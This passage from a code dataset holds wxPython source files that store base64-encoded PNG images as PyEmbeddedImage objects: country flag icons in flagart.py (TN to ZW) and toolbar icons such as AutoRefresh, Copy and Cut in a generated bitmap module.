\"33p0aXG5efLluP+DookmTZJiCAo+Glgz41yfFMzNpN32PklzUjKRkpxTg+Rp4pkxqxYmmwSY\"\n \"i5oeKNLlwQFEGINBcyvXrqbILly2aQBNZjKjJj1yyf2fQYPDRnz2ovW655YWJdFJp1zyIJcH\"\n \"d3cFAShhHhjjWY7zwGdgHf/hLwvQQSbnuK52AAAAAElFTkSuQmCC\")\n\nindex.append('TN')\ncatalog['TN'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABN0lE\"\n \"QVQokX2RsUpDYQyFz61dBUEoFFsHp452cfIB1KFbp4Kzo25C36GrTr6C4uAktljhLrp07aq7\"\n \"UF1ukv9z+ItaEEMI4ZCPhJwC/URa7f/MAknDoSRSUkqKwEPhuMsdM37Vj9vbuiQJXt8UoQhO\"\n \"TrS9zcYGwHRKWTIeU1WYFe12kuqSSCynj4+1WHB5yXxOu02vR2uL7i7TJ8xklqRakhSRtysl\"\n \"Hh/pdLi4YHOTsuTgEHOqKi+RVJMkD8wwI4L5nKMjRiMmE7pd1tcxWwLuKQOE445VpESrxc01\"\n \"p6cMBpQl7+/fwM9JWZI57uzv8/xCv894zN4es1n+j9xxd6mepLUsmTEacX7O2RmNBsDdHff3\"\n \"PDzgJg9FKAM1czWbmMlDV1cyK8zkrlx3dvIPFZGk4nPVyH88zvEFZ5M7foT/uzgAAAAASUVO\"\n \"RK5CYII=\")\n\nindex.append('TO')\ncatalog['TO'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAAA9klE\"\n \"QVQokXVSQW4CMRBzlj1Wizhy4MiN5/ANpLZ8gfYX9AEceQ8S7RNWooeOnbiHLGhXaiPLUhTb\"\n \"cTRJfd9jtEoBULrFogB/ogXQdR0uF59O2G6xXtvAbpekmdSQlnzn2/nc1mAfDsgZb+/+OCIl\"\n \"X68mTTpohiNMptWqAA0A29jv0bZ+ea7bQRph/jhiADlUAoDNxscjDMO2HTHOrgwSQPs0n+N1\"\n \"769PS6Cs4fihe8RDGm5wliUzQJk1mOPs4Q21UgES6QhIE9FUDcmSqmEm1YrjAhObCGXkjGpo\"\n \"KCyXJqEMEWQiIaGyhJwrCpC+p4PEPwMu96/wC/4dTt9th7WGAAAAAElFTkSuQmCC\")\n\nindex.append('TR')\ncatalog['TR'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABOUlE\"\n \"QVQokX2RPUpDURCFz4uxUwOxsrAQwcbaLCBoOhcgdi7BBVgHN2CvRSwsJFWqlIF<KEY>\"\n \"oHdm7mdxH2hAPAzDFPMxP6dCP8rr9Z9RIenmRhHkrJwVgYfCcZc7ZvzKq/G4LUlVxXKpCEUw\"\n \"GChnJhPe3zEjGZZICbNqfz9LbUnk3HRfXurkBDMODxkOSQlLJCuAzLLUypIi5M7Bgfp97u64\"\n \"uuL5mbpmNGJrGzNSM0RSS5I+vzDj9IwIZjNS4uWFx0e6XZ6e6PUawD0XgHDcWb4hcXyMJY6O\"\n \"eH1lOGSxYDotQFmpnaXKjJT08MDODtfX1DXAxQWrFff3zTLuuHsBNtzLTdzecn7O5iajER8f\"\n \"mDUHuMlDESpAC7S3h5k8NJ/LrNrdVacjM7nLvfxQEVmq6nUj//G46BtdQD5PmN5peQAAAABJ\"\n \"RU5ErkJggg==\")\n\nindex.append('TT')\ncatalog['TT'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAAB0UlE\"\n \"QVQokU2Lv0sbYRyHP5fDJZ5kDBmyBFzbimBLoA2lBYO0HToINzgoFRGU0C4Oaav/gf9CV1c3\"\n \"iTg4abgm9jh7JO8ld8lLIiS9q43mh/cm77dTSz48PPAMH0y63UQiAQBAPB6ftFoTXZ8AAngA\"\n \"<KEY>\"\n \"<KEY>\"\n \"U<KEY>\"\n \"9XWzUmk2m41Go/TTzu7ukpRULJIQiMVGnKv7AJaWKAhIhPhhgujV5mbZtj3P8zzPsKw3nz6S\"\n \"JLq4UGKxYaulfgGwuEi+j/GYwpDKZSJa3t4u2bbruq7rGtb1u709AKhW729u1M9AZGGBfB9C\"\n \"kBAUhmQYBKzkcoZl1er1muMUTfN9Po9IZFgoqHkg8ugxZqMUjWJWg6ZB0xTHgaK8zeXavj8Y\"\n \"DHq9nsnY8s5O//BQ6QNyCkznzIw8PU1mMvg3Vij8BZ4ENaDZLG35AAAAAElFTkSuQmCC\")\n\nindex.append('TW')\ncatalog['TW'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABEUlE\"\n \"QVQokW2RsU0DURBE585nOUUCCRw4JiGiBWqwKAMKgIwuoApTAhRgUYB1BIYEgUC2bP7Mzif4\"\n \"YHyC1WiSnbcaaSsc3mIzMmQkY63Ht9MDwH/UALi6PAJwvDvo1fX9fBFGROxMz3ta1mSW8o8v\"\n \"JpOmnN5b+mS83+9X7fXi7mUlWbPW/MiJmSmnlMlqNDLQwLDNFEAmvVqJYcnfUaacWACQBhpI\"\n \"EZiueXEzk/30/qkwbW/d3gAAGiTZDsXzqyQzckRIHnDxmy6AZKCJ+RgPZ7ltMxOoTG7X2Paq\"\n \"VDJQkTklSJ1QNw0pSypATyoVtwt0MBEKRKAANYXhMJNQQARZkZBQXEJEkYFq2X0k/vvuZgXg\"\n \"C0lTZuDB8+IlAAAAAElFTkSuQmCC\")\n\nindex.append('UA')\ncatalog['UA'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAAA90lE\"\n \"QVQokW2MQUpDUQxFz/t9CIrDTpQK4mZcjgtw7CLchmsQhO7AmYJzHVjQl+ReB/2tFgzhcBNO\"\n \"0rgz+5JIECSk5h47DgEdcXsNIFtuZVKUnG6pRWqKcsohR/nh/rMzAbxtXKZEyFWEHTVLozzk\"\n \"KF+cNr7UEZJLpEm5imFnOXbeKI9ylKMAdYbKLUXKuf/9x54ph+CDznK9PL4c9V1ySiFSCink\"\n \"KKUUNefVyRHnj61eYXVjv5iB0w57/Mtpunp/WneJ5rAH5KF0YEPamdAlFqQdsJf+OYOCIukS\"\n \"kxPOdtuAaC0gYcucbUqibZ6RUM5kn7eB3xEB/ABIh27o+OhYYQAAAABJRU5ErkJggg==\")\n\nindex.append('US')\ncatalog['US'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABuUlE\"\n \"QVQokVXRvWtTYRgF8PPWBBdRKAgWqcHF1U2koMVN7aCDINVFvGoGJzGLCuLQP0Ckg4jQVoQ6\"\n \"dHBoQUFjLRksfixSDIUiJC3xJiG5uXnz3vfzeRykoZ7pBwfOckRUrGAYIpAHLMCAfVH4wGrQ\"\n \"bv2xAAEEeABRsUIUXq16x3ah7J1zLz96Y/Tz995aY4zROssylWVKKbm0NCeiYmVy+vTiGgVC\"\n \"IFjPgREI2vN3PEInQdqD7EMpce1C9VsFUfHTQtkbYyYf28FgMPHAdLvdk/d1rqTTNE2SpNPp\"\n \"tNvtEK5Lma6vfxbR7bWz0xNzZQrEgeEdDPMGjFdffWMWSkFK1hrWjty8/GXjB6LonXPuzEPT\"\n \"6/VOlUyr1dp3b6der+PSyr/tZrMZx3Gj0fhFYXn5TQ7g+VXhPc7N7CfPR2ZUMNXxOwE1Ojg1\"\n \"xVrDGBjDWh++e7W6VRW12tbY2DHnHBExMxHtxdBZlh3PY/bt69zR+afi/JWRlTLHMZIEUkJK\"\n \"aM1KwVoewjkq3Ti0/Vtsbv4sFE708/kDVjODmfj/eO+0HgW2Q6DRZ0/Ezq2LgfccuQsN9AEF\"\n \"KMABerf9C2iAYqrHmBTIAAAAAElFTkSuQmCC\")\n\nindex.append('UY')\ncatalog['UY'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABYklE\"\n \"QVQokWWRsYqTURSEz725ucZCsovCFrL4CLaWgi+wb2AnqN2CjQ+wvoK2iqA2woqInYWFWGhh\"\n \"iAqyQVlJsfzKjxA3+c98x2KTKDjNmTnVx0xq29bMzAwsZwMzg/X5T8XManVpPyVqf8fTxsO3\"\n \"zfFcWAiT6BQiXCHYu/M6NU1T637Or8wEl6J3LSKFxVqsTM559GlSwOF3zoqQ2SiFvxzPiBAh\"\n \"QkKEA8SZQe/W/YNS66D0duaL74EP6vVF9F98aH8de0d0onM6Red0YnuzTu99SUfNz83hcLHo\"\n \"IqJfCzCbg/EXiSVYyfn96HPZfXJ49XJuZy5CACGFCAUClwlEABuny427B+XBo2/bW8PDH4sV\"\n \"w5qEVVSnkOLC2VPzx+P0cTI9v3VO4t9ClsFYfS0iSklv3o2TXXl2++ZFBwlXdCeVC1c4OEjh\"\n \"MgIRz3efpsnXqePLGU+cOY5j4O6YAYY7ZtnsD8yTlKlFNE/4AAAAAElFTkSuQmCC\")\n\nindex.append('UZ')\ncatalog['UZ'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABZElE\"\n \"QVQokX2RPUtcYRSE54WrYLGIuaYwYAgiQUhtvZWkkhTp0hlIE61SpLAQa39AQAgEf8BC2G6L\"\n \"dCnlpgnpViMrQbJ+sAtx1zNnzpviZoNF4lMMw+EwxUwCNlqttysr83t7nw8OPgLe6ex8+/pz\"\n \"+fH8+vobwAEDDBjXJgEbw+G7TqdbVWcRsbm5OhppejpdXIz29w+dQVetpNrt7QJAv3/dbD46\"\n \"P79eW1s6PR2W92Z6vV9lOdPtXtJklJmTWlycBcbFK3w4ef9k0Du7L3355JIfm8t5ZHpBigyj\"\n \"G0XO8sEh+mkwuGk0pgDknJGRkf9HSqmqvhcRUX/nnP+af4KUIrwIxORwZ37OKWd3pOfAy9e7\"\n \"V8e9cJdRpJuLFCmj02V/mppberhVtYvWM5RPfxxdnlCkaG4mo2gyOi1ImYsuLZcZFQqMQflC\"\n \"Y4GiSx51+KT9cJdLUpZCABKakylvD1prvXLGbX4DOjxvXkiHuOcAAAAASUVORK5CYII=\")\n\nindex.append('VA')\ncatalog['VA'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABa0lE\"\n \"QVQokVWRsU5UYRSE5/z3v7CuuqsbthA0JmoMpQVGSKwsNBY+i8/gE/gOPoGx08YCY2I0MRYS\"\n \"moWGYlciQQKu7J1/xuKyUb56Zs45c2L/6xA6ADIAgWCRoBTdOztIV3QeShk6unr7JQC4wIYL\"\n \"QGMh+kOg4/OMx+OMFk7gYheY9szRSYUO2baLbTsiQlIGBJd/ahSbBh1pOuXx0dbu7uvTWb16\"\n \"91GvtywpSYQ9zy4WrcZq7Pxj/3jz06u6RB87W9+fT39/I5kgw3SrdmM3Nu3GZXp95fKzpy9O\"\n \"9vZGX/r3N952+48lZQFGmXva+JmjciyeHL75NXl3q/dwJa59/vhhsHxjoaqzCLhYjUGLZ0OQ\"\n \"rabubizdXD8YbS9WP9cePGlUJuNJlmDxbA3PD4hszapq4OSLa6uRIuXciZpkJmET1RBmmEhE\"\n \"OUV0IhIiAFwYDGwAbvuP0XvoDwSIEEFChIBL9zaFpf/f3Br+AlOWRi5rOFPDAAAAAElFTkSu\"\n \"QmCC\")\n\nindex.append('VE')\ncatalog['VE'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABZklE\"\n \"QVQokV2RPWtUYRCFz3tzQbZII2lSLCHGTv+AWppAkjLY2ysiCklhk38QtEkjbPIDYpPAFvEi\"\n \"bGFjYSmIXxBTqCEibrbYOWdmLO4mqPDwMF+cZoqf4PAbUGH5MiIAAAEE4gIghAiEEEK9uIf9\"\n \"4Wbnsb94N712/SfgmQ6opKagKpmpPPfZm/26Cjy1u8cPbO3RM+BXJgHP5F9YpmWylG4IdbOM\"\n \"nH8OfG3vAM+089TJaWuAIRRgsLGxcHQ0liAGlb1et9OpMnM00urqJzLMgsy5uUuDwasKCCnI\"\n \"JIPMXq/bNMOVlY9LSx/6/d8HB/Nm0SIFoBqQO6Q05u5Ot2mG29s/zNIstra+j8d++HLh5o33\"\n \"bSKgchu37t97ePrl1OVucrpaU24hyk1Bl3zmysz62yd1H6+ndC34GWSSaZZmk+JiIkJe/Ood\"\n \"oA6gojA7myTkEEEWEhJaS3BvCaCMJp+dgH/b/1YA/gB/9Fp0l9PEswAAAABJRU5ErkJggg==\")\n\nindex.append('VN')\ncatalog['VN'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABC0lE\"\n \"QVQokX2RIU7dYRDE50+fAEETJOJpZB2GAyA4RV2v0CBAwFXaag5R1VM0gCKIhjZhZ/b7IT5S\"\n \"eAlhM9ms2Jmd7Czopcbm/CYWJJ2eSmIMjaFu0uqQKMHmVX+4ulpJkuD6Rt3qxlY3B2aYX6aM\"\n \"iyrsZb0e0koSg43tKo7DrvlZuChPguwhrYa0dCshUYcL8898MpjLYq/4/ELQvKD0dCmHM/Ot\"\n \"wGAOixPz59mSkiFtSaJDggsXd8XXgoJHzovfj1RNvLJkU6VkKnFZfDH35nvxw//lSTIJH5Jp\"\n \"EZtVcVLcmiqOzLZ5KGKl1a1J2HK0v4+ttGLZy9pKZGsn+pj5Q3UPafm7GeQ7Gc96AotzVU2K\"\n \"OmSCAAAAAElFTkSuQmCC\")\n\nindex.append('VOLAPUK')\ncatalog['VOLAPUK'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABhUlE\"\n \"QVQokWVQwYqCUAB8PtRU0kgUs0KSToWUlw59Qqc+OuhalwpSKUvUKJPSyJfK20OHdre5DTPD\"\n \"DENgjMEX4jhOkkTTtG+J/Mcdx1EUxbKsMAwFQUAIKYry20C8G2azmW3blmXVarXhcKhp2na7\"\n \"LcvScZw8zzudjiiKk8nkEwAAhGG4WCwwxrvdjmXZLMuiKBqPx/V6Xdd1URQ/DVEULZfL6/X6\"\n \"eDziODZNc7PZlGWpKArP8zRNR1F0v9+n06ksyzBJkv1+L8tyq9XCGLMsS5KkJEkQQt/3Pc87\"\n \"HA4QQo7jXNdN0xQGQZCmaRiG8/mcIAiGYV6v1+Vy6ff7PM/rug4AOB6PgiDcbjff98lqtQoA\"\n \"aDabNE1TFJXnuW3bhmFkWfbePRgMyrJ0XRchZJomgTF2HGe9XjMMw3FcmqaSJAVBEATBaDTK\"\n \"sowgiKIoEEK9Xk9VVRIA0O12ZVn2PA8A0G63VVVdrVYQQsMwTqfT8/mkKKrRaFQqlT+3/sb5\"\n \"fC6KQlXVb+kHSbvUw5wmwUQAAAAASUVORK5CYII=\")\n\nindex.append('VU')\ncatalog['VU'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABkUlE\"\n \"QVQokU2LTYjMARjGn//M38e6cBNa2nIy2MO4SGoPnOQwLOXjMAdOitO6rDPOo72uIkWKGuXG\"\n \"QbFKe9mJk5ZCLnbXxyz/eZ/nfV8Hs6V+/XoOvwf7duDtQ4wAM4D/B4EB8AdYBX4BP4AVYAko\"\n \"e1+w0J/+/L58MGs9j/3uKYerkOpSjUwp19zvdksA7xZz6dvHU2dqt25UP8lD8iSHGJOWZkkW\"\n \"o6MB1ACE55sFv9etLl0tnrg/pQ1Ts+QgzYaQAZQAzh73rZu1/F13HuvKNC5eY0c0p9xMZk66\"\n \"mXOX89m/Q1X5zfucuqCX86oq3r4uZxGBjCKiFlFk1MN93aZ67xFKAJ++6tiElles2VC7VZy+\"\n \"XJlRNCNpQ5McG+u/eo0SwPM5fli0A3vVbuF8pz+YtMER0mlhTJobk0oNNggvUAIQ1Wyw3SrO\"\n \"dVZtwqqDxooWxqAFmaagwlU4+igB7NmtE0d3Tt39ve3kFjZIJ9dTKQaVUsjTPdzTYSgLoDky\"\n \"u30cOAyMA3NAAAIMiLUtAICAjfgLJMVRmyd9f8QAAAAASUVORK5CYII=\")\n\nindex.append('WS')\ncatalog['WS'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABKUlE\"\n \"QVQokWWRwUpCURRF99OXg0ZCTRxY1LChOAj6AT+gWb/RzB+p33BYgRBhEEg0kEhToiBCGiQU\"\n \"PM/e954GT1PzsNmTuxbnwkmAIywmAjbvbIphBP4lBdBsnu7tb9fru1eXj7Vatdt9G7+Og2JR\"\n \"NwXSJZ/3d6uVAgB8d2fr/OzaLJTLm53Oc4lTMkQO3eg0N3MyqVYjUABijGi3nyaTrNE46PXe\"\n \"zdwos+BmzqmbzULOhBAKo9Hn8cnhV+b9/pgETTS6mU9tWQCQApYqKzG7u3gYDj42FGAyisw3\"\n \"cEFLEUgD7hFuXS8+MFDO/NNc0PNOyAikEUhIN4O0Aq3SkFxSLhQlJ/EHrWsiFBACcqFAoVJx\"\n \"EgoQQSYkJOQtIYQ8EUh+Vg+JtdMuPwH4BW/TXRAimTLYAAAAAElFTkSuQmCC\")\n\nindex.append('YE')\ncatalog['YE'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAAA+ElE\"\n \"QVQokZWPPUpDURCFz5XbPEhArAJik42kCVlONmBtmUcW4QpcRXYRCIh2Fkks7pk5x+KRZwoV\"\n \"/BhmzvzClA98o4u/FqMFIKAC6J4eAdhCCkpHIsMZjnDQEQiK4eD780sFAFhvr8h0poNgOuig\"\n \"SQfdmthM3tw/CKi3m40XC5xOsC1BsuRMp2w500pHWiqTyd1nLefzues6ALZhGP6NUsrhcKiS\"\n \"hmnbo/gRlCKpSroU/rxvF1tS3W775XJ1PB4zU9LoR2wPxel02vd9AbBer/f7PUmSrbWrwEYG\"\n \"GRERMZ/Pd7tdBUDGbDbj0GAwGBGXlCkNC8O3/+YLVjNhourzb1MAAAAASUVORK5CYII=\")\n\nindex.append('YU')\ncatalog['YU'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABEAAAALCAYAAACZIGYHAAAABHNCSVQICAgIfAhkiAAAASdJ\"\n \"REFUKJGdkb1Kw2AUht8kX0OamDRFq8FBDUVRyeLg4DWIo5OLgjfhZYiDm65ehZPwIUKnBhws\"\n \"VSzaFAtJJTZpk3wuGjSlTfUZ38N5OD/cyeo6M2UF/6X54YOYsgJLK/0qhCTBkESYCcSpRCQb\"\n \"POhAuNIDX+QgNCSsdZJ8yVWk1meH+vt3sLtUNefL3TI4wDX03nmn1QyGUTxO0I0SlVwbOxbm\"\n \"qml4YLrwXj0w8NDMhcpdf6Ny73Pjx3hrgM9mvq6DC0UocREDYzF3FQCjEt5powBAlCTELy0E\"\n \"yYQpviD7m2LdWJbSm/DPtW1fkEmfCVAeabJnHd9OErSfRBWUUvaTgeux2sUluzk9Y4HjsDwo\"\n \"pWzkxYWShq2jw6luka5j2/afGrLYto1PPjGOVBw0sOsAAAAASUVORK5CYII=\")\n\nindex.append('ZA')\ncatalog['ZA'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAAB00lE\"\n \"<KEY>\"\n \"<KEY>\"\n \"A4iAKrAOVIA/gHfjHWziHpSzHdtPbR3sev3efJiBkGMGsyNy/7U2PW32fUP/2eq1+drS0u+P\"\n \"4ZfRofM76zUzM+dKi47IWXJknbWOyOvpUcADMPt2bEd+Zfyr/6tpRBojey/mku0di8suipyq\"\n \"U3GiTtVL++tTUx6AQqGwuy8cGsRkKf2TE2u2JQ6peEqUSTYQOe7OZJ/cmTQAmOXp86hciRdO\"\n \"Nm79SJXVb3K9Wg2tkBVLQlaJhDdJCyEMABE+ejh25JDeLyVLrUSTI3bqB51JURIiYVYi5Yy/\"\n \"BRkYAMPHvL493s2F4HPVWBvdPXg9iAWr34N6TUScqlN1opoJTPeuC+bhOPL95sps22rESNDI\"\n \"/nOvHiWePa6E5WUiteTIKrMyay6XLhZfGj2Oq8XAj8UHervObBt+8SA9/6kWtKHXTxMps2NW\"\n \"ESeiIgDUwyWAkR04MLb59uXTK0AIKKCA/TcMMACAgeRf4EIuX9eJDOYAAAAASUVORK5CYII=\")\n\nindex.append('ZW')\ncatalog['ZW'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABmklE\"\n \"QVQokU2RP2iTcRRF3y/9mvgn0Ukq0lIDdaiCLk4ODkqREmjAoUIEEUFc1bGCg5OrOlU3h4Ii\"\n \"iF0yaEWFoE5Fl0wdOrlYIzFfk7z73rsONRK4cM98Tmpvt+eX52VJxERCJERsxCpiIjoGRUn5\"\n \"n7y0v7TafDBzGs4IetCDFjQP84DTPOBhRtz5uJ7yPD8wWfICN97eWljoM0HESYxNSSWR0ky3\"\n \"28xEhBMP8xfli8ura/duXIhBISnNAqApTcNAaBiyKbQfSdZ9vFKoH69c+fL76a/F6enXX7dO\"\n \"9HMHAiDUoa4IqAMHe1gTSTutjWxrs9z4TNru+8bk+aXFWg3DIQBV1X+nAKrVaqvVyrKTZ/37\"\n \"B9J2Px0unKu9vF5/cmTgQEADCCgNAQ3Dvim8E8lC4tDN+xHBM53ntxuXJnpZUgZCwKSREEmZ\"\n \"wIIVizYnkjqdTqVSGQ5662+uXq53mCmpjD05I0sCoac0t/PzW+r3+wMMnzXvHj01Uk6LgBMW\"\n \"Fv6/iZO+8mozbf/Ynj02K9dEeqOoOoo9znvty/IXxrxcMJLCp60AAAAASUVORK5CYII=\")\n\n", "id": "9271962", "language": "Python", "matching_score": 11.464816093444824, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/art/flagart.py" }, { "content": "#----------------------------------------------------------------------\n# This file was generated by encode_bitmaps.py\n#\nfrom wx.lib.embeddedimage import PyEmbeddedImage\n\nAutoRefresh = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABmJLR0QA/wD/AP+gvaeTAAAA\"\n \"CXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1wUIEhkj6H6O3AAABNZJREFUOMvFlVtsVEUc\"\n \"xr+ZOWfPdk+3LdvL0hXaAqESBQRayrW1pRAfUBKNIQ2LCS8GfFSJCdEYjTHEoCEBDaAEL7Dl\"\n \"+mBAFB+E3gKUpTcapEXUdun2BnTbvZ/bjA9um22BxDcn+ZLJzH9+Z+abb3KA/7NtPbOb/Ze6\"\n \"6lOrS9afXeMCAPLEgh8qSpkiv8eADYZpFgpwmRIWpZSOcmFd5pyfJVHedGVnmzG5pvLkKjfj\"\n \"/KoGc8M1b0f/NDARXlJ7+u+jAOrWza20PVvwnORUVDDCkDQ0xI0Y7k/0W51DHbHR2AiDIJ+Z\"\n \"tuh+h55JkxR+WFYpEaK44Y22wDTwxlNrvy3Onrd129LtDs3SEE6OQ1WccMgqKCgoIRAAKCGI\"\n \"aBG09DUkW4OtukXE4Pqi9fNvj3QbocTEokZv64A0dfzjZatUWX19w/yNjsP+r/ho4gGVQGFy\"\n \"LigRplstTJTPqVCXz17BDHBoIoHqBbX2FXPK7X+O3XPWFG8it4Y7TZ3qHADoJJhJ9l1OW5Z6\"\n \"rP2omDDDRJUzkpZlnWn0tlJLJNwDseCmn/+4eG5v8yfx9iG/yGAqBhNBjJtjKPdUEIlK0C0L\"\n \"alKaDqbAS/3hAHE5c0Ol7oUdSVMPgWMfADR5u0Mt227euFx3tU6zjHW/3r3kP9b2TTyb5uAZ\"\n \"RxFaRhsgUxsgLKIzbTrYIkJx2BzBkoKiI6o96wQo7nLFCs1MTLPX36mb+p6IHmYO2YnhRBAA\"\n \"h0LtMIRFIMscAKY8FpYVz8rMO6Dasy7EFe2hTsT37vys8Exwla9sCYN0/s2ytxS3owAetRBr\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"lpHfQATByvx1OH3Hpw1EA182eP0nZu6OZ0puu8UOZUWkHxN8Ij8cC+1kks1KS1kqxylfdG7C\"\n \"o86FAND9oEsQ0CWrT66cOxPMgCwurDXheHh7b/D27mgiUsIE+WtyXkrzkRBQLM5ZiqH4ACQq\"\n \"YW/NF/YzPfW1v9z7qaemvuKgwflNUAQUk0oW+OcZckZOT/BOtV2yCZeaazxKhI4+BgYAQgji\"\n \"ehwLs5+HYWm4FWpDZVEVK/dUONqG/O8OR4aSg5EgeZh4pCqEoSDDjUUFi5Cn5pP6zhNJqmf6\"\n \"HgNTSkl/uA8fNO4Zp6B084JXbC8W19jHzTEIcCwrXC4ZsxdnMlAQUJjCgMFNTGghnOzwRQ3D\"\n \"ert5x+VkurUAwEpe83x4Y+BarK8psKXrQO/+YHZg8HqoecFEckKVmY06bU7ilJ3g4DC5iage\"\n \"QfvATX6x94IWHorsu7qr3ZfiCQDWZI7tVb6yUOj36NbuT3tvA8hIyV6yxfOCp9Zdx2bJKyQK\"\n \"xSGrRsKMMy4EjChvGWkaPXSvPtAFIJFSHEB8EkxWH1766vVdtxoB2AEoaZJTYnIuk3MXu1zR\"\n \"4Xgo2hsLAdBTudZS0EiqL570a2JpsElJ6cdMyUhJB2CmxqbaP0R8PsUa4mUWAAAAAElFTkSu\"\n \"QmCC\")\n\n#----------------------------------------------------------------------\nCopy = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABmJLR0QA/wD/AP+gvaeTAAAA\"\n \"CXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1wUJAiwtCW2leAAAAmpJREFUOI2Vlc9PE0EU\"\n \"x79vZrctPbS3Xrm0dOtfoQcTjVf/Ae9ESxSMxLMJYEEx/oga/TM8mRACJURSJQHa1DMegIMQ\"\n \"SLqddp6HYXc7dbuUubTpe/uZz3vzdkq1V0sPWOsKrrlIiObj6uzXUXFHdbve09n563LxenXZ\"\n \"S4o7QhAA4PT079jQXC4PIkrMcZKCzEzdblcO/YZUKg1m5rHB7fZvC9r4tXP/4uJ8EsAAhEBk\"\n \"Nni5vPAohklEtGaBp6ZK4Xff9+Xa+vfJuSfPiJmT67apqK0s3hxprHoKl6Z0dnY6Lhe5XB4A\"\n \"eKRxp9PBZn19bCBg2hOsGGMTVKprJTabzSuhnhe9Dha4VCrCsNgYb22EMc+LH9tgc2aON2Zm\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"wyIQRVPgui6IhLFznPDw6lsb0FrDcVOp1rsPb2IveiIKNxu0FUKASEBrjY+f38c92nSS/gUW\"\n \"ll48HO5/UD4zmzaAcff2PQDA8ckRGj93wIRPiffxcP9d14GU5hFjTZDSXNeHfw6xt7+LTDb7\"\n \"pTo9s3olWCmFTCZjvbJSRtb9vsbxyRH29ncBQdPV6Zm3AJB4z9ZWFr/1er07gD1+wWIwGNAC\"\n \"1NDgW/Nzz8+D2D8qwJznbf5BFgAAAABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\nCut = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABmJLR0QA/wD/AP+gvaeTAAAA\"\n \"CXBIWXMAABwgAAAcIAHND5ueAAAAB3RJTUUH1gcMCjIxQXznpwAABCZJREFUOMuFk11IXEcU\"\n \"x/8zO3fv3awm8WNjzK66hTaxNDG2JdWIhiTa0pY+hIC0FElfBKU2rfRBBUuLhUCSBrQUIaQh\"\n \"DyEUP4KxhpIWU4lpirUPNSUmaaQVY9VtNKvu9917Z+70ISvIsq5/uAzcc/jNOf85hyBJnV+f\"\n \"G7Msq9w0zaq2lvY72ECnz55qBtCpaY755o8/9STHaXIypbTswIEy5ObkDiONNE376u233gGl\"\n \"1H367KlracFOp/PDN15/k3gLn4ON2rRvL57vSAX9prurx73LzbK2Z+NQ1WHszNu5Ly2Yc+7O\"\n \"zXEBAKoOHQaA9hQWFMXj8XfLyyoghICmaYhEIwVpwfF4fGro+jXLbrdDYQry8vJtV767PLI+\"\n \"JzMzc/BgeQU4F6CU4tbozwiFQq1pwQCOLT1dIroeg5QSJfv2IxwOHVlXbaUQotTjLoSUEk8W\"\n \"nyAeN1bbWtq70oLbWtofA7g0ODQgnU4npJR4ef+r6OvveQQAGRkZPxw9UgPOORhjGL09glgs\"\n \"WprqHZIrRltLe72u64GHf92XhBDk5roQCgV3X7x0oWv7tqytmuqAlBITd/+Aqqq9iWI2ByfU\"\n \"+Nv4GNmy5RnkYHklMjMzPykoLIKUEpQSzM3PGiebmt/baBxTgtta2nstyxr95c5ty2azQVEU\"\n \"qKoGwTkIIfhp+EeEQqHqdHNO08Q++Gf6bwkiIaVE8e4XEYmEMT0zDWazPUi3lQBg2yhwc3gk\"\n 